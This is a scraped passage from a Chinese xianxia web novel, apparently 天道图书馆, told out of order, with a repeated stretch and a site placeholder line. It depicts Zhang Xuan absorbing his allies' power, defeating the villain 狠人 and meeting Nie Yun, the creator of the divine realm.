随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十五章 饺子 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” 